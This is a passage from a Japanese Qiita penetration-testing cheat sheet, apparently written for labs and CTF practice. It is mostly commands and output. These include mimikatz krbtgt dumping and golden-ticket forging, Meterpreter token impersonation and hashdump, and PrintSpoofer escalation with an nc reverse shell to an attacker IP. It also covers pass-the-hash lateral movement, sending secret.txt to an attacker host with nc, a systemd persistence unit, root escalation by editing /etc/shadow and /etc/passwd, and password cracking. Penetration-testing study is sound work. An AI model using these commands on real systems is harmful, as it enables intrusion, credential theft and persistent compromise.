    11  6773fcbf03fd29e51720f2c5087cb81c
    12  19e54fd00868c3b0b35b5e0926934c99
    13  52902abbeec1f1d3b46a7bd5adab3b57
    14  6773fcbf03fd29e51720f2c5087cb81c
    15  8f2593c344922717d05d537487a1336d
    16  49c009813995b032cc1f1a181eaadee4
    17  8552f561e937ad7c13a0dca4e9b0b25a
    18  cc18f1d9a1f4d28b58a063f69fa54f27
    19  12ae8a0629634a31aa63d6f422a14953
    20  b6392b0471c53dd2379dcc570816ba10
    21  7ab113cb39aa4be369710f6926b68094
    22  7ab113cb39aa4be369710f6926b68094
    23  e38f8bc728b21b85602231dba189c5be
    24  4700657dde6382cd7b990fb042b00f9e
    25  8f46d9db219cbd64fb61ba4fdb1c9ba7
    26  36b6a21f031bf361ce38d4d8ad39ee0f
    27  e69385ee50f9d3e105f50c61c53e718e
    28  ca006400aefe845da46b137b5b50f371
    29  15a607251e3a2973a843e09c008c32e3

 * Kerberos
    Default Salt : CONTROLLER.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 64ef5d43922f3b5d

 * Kerberos-Newer-Keys
    Default Salt : CONTROLLER.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
      aes128_hmac       (4096) : 7eb35bddd529c0614e5ad9db4c798066
      des_cbc_md5       (4096) : 64ef5d43922f3b5d

 * NTLM-Strong-NTOWF
    Random Value : 666caaaaf30081f30211bd7fa445fec4

# チケットの作成
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
User      : Administrator
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-849420856-2351964222-986696166
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime  : 10/15/2022 1:34:04 AM ; 10/12/2032 1:34:04 AM ; 10/12/2032 1:34:04 AM
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Metasploitを利用する場合

# 権限の確認
## SeImpersonatePrivilegeを有していること
## SeDebugPrivilegeも有しているとなおよし
whoami /priv

# トークンの偽装
meterpriter> load incognito
meterpriter> list_tokens -g
meterpriter> impersonate_token "BUILTIN\Administrator"

# プロセスのマイグレーション(services.exeにマイグレーション)
meterpriter> migrate <pid>
meterpriter> getpid

incognitoから紐解くトークン偽装攻撃の仕組み - NFLabs. エンジニアブログ

# lsass.exeにmigrateする必要がある場合ものある
meterpriter> migrate <PID>
meterpriter> hashdump

UACバイパス

ローカルでの権限昇格チェック

Printspooferの悪用

# 権限の確認
# SeImpersonatePrivilegeがEnabledになっていること
c:\Windows\Temp>whoami
iis apppool\defaultapppool

c:\Windows\Temp>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


# 権限昇格
c:\Windows\Temp>powershell -c "Invoke-WebRequest -Uri 'http://10.13.1.50:8080/PrintSpoofer64.exe' -OutFile 'C:\Windows\Temp\PrintSpoofer64.exe'"

c:\Windows\Temp>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

PrintSpooferを悪用する場合、インタラクトできない場合はリバースシェルを張ることによりシステム権限を有したシェルをゲットできる。
なおシェルを張るために事前にnetcatを準備しておく。

PrintSpoofer64.exe -c "\.nc64.exe <ataccker IP> <ataccker Port> -e cmd"

itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"

impaketを使う場合

ドメイン管理者グループに属している資格情報を有している場合、他ユーザーの資格情報をSAMデータベースからダンプできる。

python3 /<your install path>/impacket/examples/secretsdump <domain name>/<username>@<IP>

Lateral Movement

Linux

SSHを用いた横展開

# オプションはリバースシェルで取得したシェルの場合、対話が成り立たないため対話しないようにするもの
ssh -i id_rsa testuser@<target_ip> -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null
chcp 65001

Windows

impacket-psexecPsExec.exeを用いることにより横展開可能

  • impacket-psexec:Pass the Hash攻撃可能
    impacket-psexec <username>:<plain password>@<target IP>
    impacket-psexec -hashes ":<hash>" <username>@<target IP>
    
  • PsExec.exe:NTLMの利用はできない。Sysinternalsソフトウェア
    PsExec.exe -accepteula -i -u <username> -p <password> \\<target IP> cmd
    
  • evil-winrmwinRMを用いた展開、平文、Pass the Hashともに利用可能
    evil-winrm -i <target IP> -u <username> -p <password>
    evil-winrm -i <target IP> -u <username> -H <NTLM hash>
    

その他解析系

画像ファイルの解析

ファイルの埋め込み確認

binwalk <ファイル>

ステガノグラフィー確認

パスフレーズが必要

埋め込み確認

steghide info <ファイル>

データ抽出

steghide extract -xf <ファイル>

パスワードがない場合、オンラインツールを利用する

https://futureboy.us/stegano/decinput.html

PDFファイルの解析

PDFファイル内部の画像抽出

pdfimages <Target PDF> <Export File Name>

Tips

ペンテストでよく使うコマンド(Linux基礎)

  • find
    • -name:名前で検索
    • -type:ファイルタイプ検索
    • -exec:実行結果を他のコマンドに渡す
    • -mtime:更新日時で検索
      • n*24時間 以上過去に更新したもの、となる
  • grep
  • リダイレクト
    • コマンド 2> コマンド:エラー出力をリダイレクト
    • コマンド > コマンド 2>&1:標準出力、エラー出力をファイルへ書き込む

viをカスタマイズする

touch ~/.vimrc

# 方向キーを使えるようにする
echo "set nocompatible" > ~/.vimrc

# バックスペースを有効にする
echo "backspace=indent,eol,start" >> ~/.vimrc

Windowsバイナリ in Kali Linux

KaliにはWindowsで使える便利なバイナリファイルを標準で格納している

$ ls -l /usr/share/windows-resources/binaries
合計 2392
drwxr-xr-x 2 root root   4096  5月 20  2024 enumplus
-rwxr-xr-x 1 root root  53248  3月  3  2023 exe2bat.exe
drwxr-xr-x 2 root root   4096  5月 20  2024 fgdump
drwxr-xr-x 2 root root   4096  5月 20  2024 fport
-rwxr-xr-x 1 root root  23552  3月  3  2023 klogger.exe
drwxr-xr-x 2 root root   4096  5月 20  2024 mbenum
drwxr-xr-x 4 root root   4096  5月 20  2024 nbtenum
-rwxr-xr-x 1 root root  59392  3月  3  2023 nc.exe
-rwxr-xr-x 1 root root 837936  3月  3  2023 plink.exe
-rwxr-xr-x 1 root root 704512  3月  3  2023 radmin.exe
-rwxr-xr-x 1 root root 364544  3月  3  2023 vncviewer.exe
-rwxr-xr-x 1 root root 308736  3月  3  2023 wget.exe
-rwxr-xr-x 1 root root  66560  3月  3  2023 whoami.exe

ファイル探索

共通

meterpriter> search -f <ファイル名>

Linux

find / -name "username" -or -name "password" 2>/dev/null
find / -name *secret* 2>/dev/null

Windows

dir /s *secret.txt

ファイル転送

Linux

  • SCP
  • Python
    python3 -m http.server 8080
    
  • nc
    # 送信側
    nc <ataccker IP> <ataccker Port> < secret.txt
    
    # 受信側
    nc -lnvp <port> > recv_file.txt
    

Windows

# コマンドプロンプト
curl http://<IP>:<Port>/<file> -o <path to save>

# Powershell
Invoke-WebRequest -uri http://<IP>:<Port>/<file> -outfile <path to save>

RDP(Linux → Windows)

xfreerdp /dynamic-resolution /v:<target IP> /u:<username> /p:<password>

シェルのグレードアップ

パターン1

# インストールされているPythonのバージョン確認
python -V
python3 -V

# bashの起動
## Python2
python -c 'import pty; pty.spawn("/bin/bash")'

# Python3
python3 -c 'import pty; pty.spawn("/bin/bash")'

# clearなどのコマンドを利用できるように
export TERM=xterm

# オートコンプリート、矢印等を利用できるように  
^Z(Ctrl + Zでバックグラウンドへ移動させる)
stty raw -echo; fg

パターン2

script /dev/null -qc /bin/bash
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

内部ネットワークへの接続

SSHを用いたローカルポートフォワーディング

SSH接続先端末の奥にいる端末へ接続するため、SSH接続先を踏み台として通信を奥の端末に接続する。そのためにはポートフォワーディングを利用する。
ポートフォワーディングは特定のポートに届いたパケットを別のアドレスのポートに転送する技術である。

※ポートフォワーディングを行う際、踏み台は認証不要

# -L:ローカルポートフォワーディング(SSH元の端末のポート番号:フォワーディング先の端末IP:ポート)
ssh -N -L 8080:192.168.11.xx:80 user@example.com

ローカルポートフォワーディングチャネルを経由してSCPでファイルを取得する

scp -i /home/kali/id_rsa -P 8080 testuser@localhost:"/C:/Users/testuser/Desktop/Pentest/flag.txt" .

ダイナミックポートフォワーディング

SOCKSプロキシを用いてダイナミックポートフォワーディングを行う

# proxychainsの設定
sudo vim /etc/proxychains4.conf

## タイムアウト値のチューニング
tcp_read_time_out 150
tcp_connect_time_out 80

## ローカルポートの設定
[ProxyList]
socks5 127.0.0.1 1080

# SSHを用いてトンネル構築
ssh -fND 127.0.0.1:1080 <username>@<target IP> -p <target IP port>

# SOCKSプロキシ経由での通信
## SOCKSプロキシはTCPコネクションが確立されなければならないため、コネクトスキャン(-sT)を設定する
proxychains nmap -sT -Pn <internal target IP>

SSHを用いたリモートポートフォワーディング

中継サーバーで以下のコマンドを実施する

# ssh -N -R 攻撃者端末のフォワーディング用ポート:奥の端末のIP:奥の端末のアクセスしたいポート 攻撃者端末のアカウント@攻撃者端末のIP(ここは攻撃者端末へSSHするイメージ)
ssh -N -R <attacker port>:<remote IP>:<attacker Port> <ataccker PC name>@<attacker IP>

Linuxのサービス操作

Unitファイルの作成

vi /etc/systemd/system/reverse.service

ユニットファイルの中身。なお、Unitセクションに記載されている意味は、ネットワークが完全に構成されてからサービスが実行されるようにするためのものである。

[Unit]
After=network-online.target
Wants=network-online.target
[service]
ExecStart=<実行したいコマンド>
Type=oneshot
[Install]
WantedBy=multi-user.target

Unitファイルの反映

# Unitファイルの更新
sudo systemctl daemon-reload

# 自動起動の有効化
sudo systemctl enable reverse.service

ファイル編集を通じた権限昇格

chmodコマンドを管理者権限で利用できる場合の手法。この例では/etc/shadowを編集している。

ハッシュの反映

パスワードはkali

$ mkpasswd -m sha-512 -S saltsalt -s
Password:
$5$saltsalt$c4u2E6kOcEnHR95ytO7tVAOw1ROuO.4W0MYuHxj.Yn8

生成した値を/etc/shadowへ書き込む

$ head -n 1 /etc/shadow
root:$5$saltsalt$c4u2E6kOcEnHR95ytO7tVAOw1ROuO.4W0MYuHxj.Yn8::0:::::

権限昇格

$ which su
/bin/su
$ sudo chmod u+s /bin/su
$ su root
Password:
# pwd
/home/mihari
# whoami
root

Day 40: Privilege Escalation (Linux) by Modifying Shadow File for the Easy Win | by Atumcell Labs | Medium

/etc/passwdを編集する場合はユーザー追加を行う。

# ハッシュ値を生成
openssl passwd -1 -salt <任意のsalt> <任意のパスワード>

# passwdへユーザー情報を追記
## [ユーザ名]:[ハッシュ]:[ユーザーID]:[グループID]:[コメント(任意)]:/root:/bin/bash
## ユーザーIDとグループIDが0であればrootとなる
echo 'hoge:<generated hash>:0:0:helloworld:/root:/bin/bash' >> /etc/passwd

# suコマンドにSUIDを設定
sudo chmod u+s /bin/su

# 追加したユーザーへ切り替え
su hoge

rshellからの脱出

ID, PWが判明している前提

sshpass -p '<password>' ssh <username>@<IP> -t bash

パスワードハッシュの解析

サイトを活用した解析

John the Ripper

キャッシュの削除

rm ~/.john/john.pot

ハッシュタイプが不明な場合

john --format=GOST <ハッシュファイル>

パスワードリストを指定する

john --wordlist:<ファイルパス>

NTLMハッシュの解析

# John The Ripperを使う場合
john --format=NT <ハッシュファイル>

64f12cddaa88057e06a81b54e73b949b:Password1
c39f2beb3d2ec06a62cb887fb391dee0:Password2
c4b0e1b10c7ce2c4723b4e2407ef81a2:Password3
2777b7fec870e04dda00cd7260f7bee6:P@$$W0rd
f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#

hashcatを使う場合

# hashcatを使う場合
hashcat -m 1000 ./mimikatz_hash.txt /usr/share/wordlists/rockyou.txt

icaclsの権限説明

フラグ 権限 Full Description
F フル Full Access
M 変更 Modify
RX 読み取りと実行 Read eXecute
R 読み取り専用 Read
W 書き込み専用 Write
OI オブジェクトの継承 Object Inherit
CI コンテナの継承 Container Inherit
IO 継承のみ Inherit Only
AD アクセス拒否 Access Denied
I 継承された権限 Inherited
ICACLS は、ACE エントリの正規の順序を維持します:
        明示的な拒否内容
        明示的な許可内容
        継承された拒否内容
        継承された許可内容

perm はアクセス許可マスクであり、次の 2 種類の方法で指定できます:
    単純な権限を列挙:
            N - アクセス権なし
            F - フル アクセス権
            M - 変更アクセス権
            RX - 読み取りと実行のアクセス権
            R - 読み取り専用アクセス権
            W - 書き込み専用アクセス権
            D - 削除アクセス権
    特定の権限をコンマ区切りでかっこ内に列挙:
            DE - 削除
            RC - 読み取り制御
            WDAC - DAC の書き込み
            WO - 所有者の書き込み
            S - 同期
            AS - システム セキュリティへのアクセス
            MA - 無制限
            GR - 一般的な読み取り
            GW - 一般的な書き込み
            GE - 一般的な実行
            GA - 一般的なすべての操作
            RD - データの読み取り/ディレクトリの一覧表示
            WD - データの書き込み/ファイルの追加
            AD - データの追加/サブディレクトリの追加
            REA - 拡張属性の読み取り
            WEA - 拡張属性の書き込み
            X - 実行/スキャン
            DC - 子の削除
            RA - 属性の読み取り
            WA - 属性の書き込み
    継承権限はどちらの形式の前にも配置でき、ディレクトリにのみ適用されます:
            (OI) - オブジェクト継承
            (CI) - コンテナー継承
            (IO) - 継承のみ
            (NP) - 継承を適用しない
            (I) - 親コンテナーから継承した権限

netcatの各種準備

オプション説明

引数 説明
-l 着信待ちモード(サーバーモード)
-v 詳細の出力
-n 逆引き解決しない
-p ポート指定

サーバーモード

nc -lvnp 9999

クライアントモード

nc <IP> <Port>

# 接続元ポート番号をTCP/53に設定し、名前解決しない
nc -nv -p 53 <IP> <Port>

Metasploit用のデータベース準備

  1. データベースの起動
systemctl start postgresql
  1. データベースの初期化
msfdb init
  1. データベースとの接続状況確認
msf> db_status
  1. ワークスペースの準備
# ワークスペース一覧表示
msf> workspace -l

# ワークスペースの削除
msf> workspace -d <workspace name>

# ワークスペースの追加
msf> workspace -a <workspace name>
  1. スキャン結果のホストデータを活用する
msf> use auxiliary/scanner/ftp/anonymous
msf> hosts -R
msf> show options
Module options (auxiliary/scanner/ftp/anonymous):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS   10.10.171.100        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    21                   yes       The target port (TCP)
   THREADS  1                    yes       The number of concurrent threads (max one per host)

参考サイト

利用フェーズ サイト名 URL
偵察 Nmap オプションマニュアル https://nmap.org/book/man-briefoptions.html
初期アクセス SQLインジェクション チートシート http://www.byakuya-shobo.co.jp/hj/moh/sqlinjectioncheatsheet.html
初期アクセス SQLmap マニュアル https://github.com/sqlmapproject/sqlmap/wiki/Usage
持続化 リバースシェル ジェネレーター https://www.revshells.com/
持続化 PHP リバースシェル https://github.com/pentestmonkey/php-reverse-shell
持続化 nishang Powershell Reverse shell https://github.com/samratashok/nishang/tree/master/Shells
権限昇格 GTFObins https://gtfobins.github.io/
権限昇格 LinPEAS https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
権限昇格 WinPEAS https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
権限昇格 Powershell 権限昇格ツール https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
権限昇格 Power View https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
権限昇格 Crack Station https://crackstation.net/
権限昇格 hashes https://hashes.com/en/decrypt/hash
その他 CyberChef https://gchq.github.io/CyberChef/
13
12
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
13
12

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?